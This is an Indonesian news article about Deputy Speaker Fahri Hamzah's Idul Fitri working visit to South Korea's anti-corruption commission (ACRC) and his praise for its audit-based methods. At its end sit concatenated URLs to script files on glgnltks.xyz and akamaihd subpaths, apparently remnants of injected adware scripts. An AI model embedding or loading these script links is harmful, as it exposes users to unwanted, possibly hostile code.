PARLEMENTARIA.COM– Di tengah kesibukan masyarakat Muslim Indonesia merayakan Idul Fitri 1438 Hijriah, Wakil Ketua DPR RI Fahri Hamzah bersama anggota Badan Kerja Sama Antar-Parlemen (BKSAP) Nurhayati dari Fraksi Partai Persatuan Pembangunan (PPP) dan Sartono Hutomo (Fraksi Partai Demokrat) malah melakukan kunjungan kerja (kunker) ke Korea Selatan.
Selama berada di Seoul, Ibikota Korea Selatan bersamaan pada perayaan lebaran itu, ketiga wakil rakyat tersebut bertemu dengan Komisi Anti Corruption and Civil Right Commisions (ACRC). ACRC merupakan lembaga gabungan yang didalamnya juga ada Ombudsman Korea Selatan.
Dalam siaran pers Humas DPR RI yang dterima Parlementaria.com, Senin (3/7), Fahri mengaku banyak belajar dari pembicaraan dengan pihak ACRC. “Saya itu harus sampai kepada kesimpulan, kita harus berubah total ini dalam cara menghadapi korupsi ini. Tidak ada pemberantasan korupsi yang bisa dilakoni satu institusi,” jelas Fahri.
Menurut politisi senior Partai Keadilan Sejahtera (PKS) ini, berbeda dengan KPK yang ada di Indonesia, ACRC bekerja dengan cara melakukan audit. “Dia mendapatkan prove dari tindakan korupsi lebih banyak dari audit. Sebab, audit itu enggak bisa bohong,” tukas dia.
Dari hasil audit tersebut, pihak ACRC melapor kepada Presiden, Parlemen, dan lembaga lainnya. Selanjutnya mereka melakukan koordinasi sehingga semua itu punya kepastian dalam berusaha dalam berbisnis. “Semua merasa hukum itu manusiawi. Lalu tercipta culture yang baik. Pengusahanya jadi tidak takut berinvestasi. Mereka berani mengambil keputusan-keputusan didalam proses pembangunan,” lanjut dia.
Menurut wakil rakyat dari Daerah Pemilihan Nusa Tenggara Barat (MTB) ini, dengan cara itu maka tidak heran kalau ekonomi Korea Selatan tumbuh pesat. “Ekonomi mereka tumbuh karena positif melihat ke depan. Tidak ada distracting narrative, kaki kita tidak ditarik terus ke bawah, tetapi mereka meluncur terus. Akhirnya luar biasa Korea menjadi sebuah negara produsen teknologi tinggi.”
Diungkapkan, sesampai di tanah air dia akan membuat laporan atas hasil pertemuan ini. Dia berharap laporannya masuk ke dalam rekomendasi Pansus Angket untuk perbaikan metode penanganan korupsi di Indonesia. (art)
http://cdncache-a.akamaihd.net/sub/nee5452/51565_4825_/l.js?pid=2449&ext=Advertisehttp://cdncache-a.akamaihd.net/sub/nee5452/51565_4825_/l.js?pid=2450&ext=Not%20sethttp://glgnltks.xyz/addons/lnkr5.min.jshttp://glgnltks.xyz/addons/lnkr30_nt.min.jshttp://glgnltks.xyz/ext/12d9c176eb505fe869.js?sid=51565_4825_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a






